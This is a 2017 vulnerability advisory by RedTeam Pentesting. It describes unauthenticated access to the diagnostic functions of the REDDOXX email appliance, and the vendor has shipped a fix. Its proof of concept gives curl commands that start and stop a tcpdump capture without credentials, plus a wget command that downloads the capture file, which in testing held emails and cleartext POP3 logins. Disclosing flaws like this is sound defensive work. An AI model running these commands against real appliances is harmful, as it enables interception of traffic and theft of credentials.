REDDOXX Appliance Unauthenticated Access
Posted on 25 July 2017
Advisory: Unauthenticated Access to Diagnostic Functions in REDDOXX Appliance RedTeam Pentesting discovered a vulnerability which allows attackers unauthenticated access to the diagnostic functions of the administrative interface of the REDDOXX appliance. The functions allow, for example, to capture network traffic on the appliance's interfaces. Details ======= Product: REDDOXX Appliance Affected Versions: Build 2032 / v2.0.625, older versions likely affected too Fixed Versions: Version 2032 SP2 Vulnerability Type: Authentication Bypass Security Risk: high Vendor URL: https://www.reddoxx.com/ Vendor Status: patch available Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-008 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ "REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clientsa requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement." (from the vendor's homepage) More Details ============ The administrative interface of the REDDOXX appliance [0] offers several diagnostic tools in the "Diagnostic Center". Tcpdump is one of these tools. This tool can be used to capture network traffic on local interfaces. During a penetration test, it was discovered that this function, as well as the other diagnostic functions, does not require authentication. Proof of Concept ================ The following curl command-line can be used to start the capture process: ------------------------------------------------------------------------ $ curl --include --silent -H 'Content-Type: application/json' --data-binary '{"Name":"Tcpdump","Parameter":{"host":"","port":""}}' http://www.example.com/api/v1/rws/diagnose/start HTTP/1.1 200 OK Date: Thu, 18 May 2017 14:58:22 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.14 [...] Content-Length: 0 Content-Type: application/xml ------------------------------------------------------------------------ The following curl command-line stops the capture process: ------------------------------------------------------------------------ $ curl --include --silent -H 'Content-Type: application/json' --data-binary '{"Name":"Tcpdump"}' http://www.example.com/api/v1/rws/diagnose/stop HTTP/1.1 200 OK Date: Thu, 18 May 2017 15:00:17 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.14 [...] Content-Length: 0 Content-Type: application/xml ------------------------------------------------------------------------ After the capture process is complete, the resulting capture file can be downloaded without authentication: ------------------------------------------------------------------------ $ wget http://www.example.com/rws/resources/diagnosemanager/tcpdump.cap [...] Connecting to www.example.com:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1801530 (1.7M) [application/vnd.tcpdump.pcap] Saving to: atcpdump.capa tcpdump.cap 100%[=======================================>] 1.72M [...] 2017-05-18 17:01:36 (34.1 MB/s) - atcpdump.capa saved [1801530/1801530] ------------------------------------------------------------------------ None of these requests contain any credentials or cookies, which could provide authentication. Workaround ========== None Fix === Update the appliance software to Version 2032 SP2. Security Risk ============= The diagnostic functions of the REDDOXX appliance can be used without authentication. This allows attackers to, for example, capture network traffic. During a penetration test it was possible to capture multiple emails and also POP3 login attempts with cleartext credentials. This is rated as a high risk.
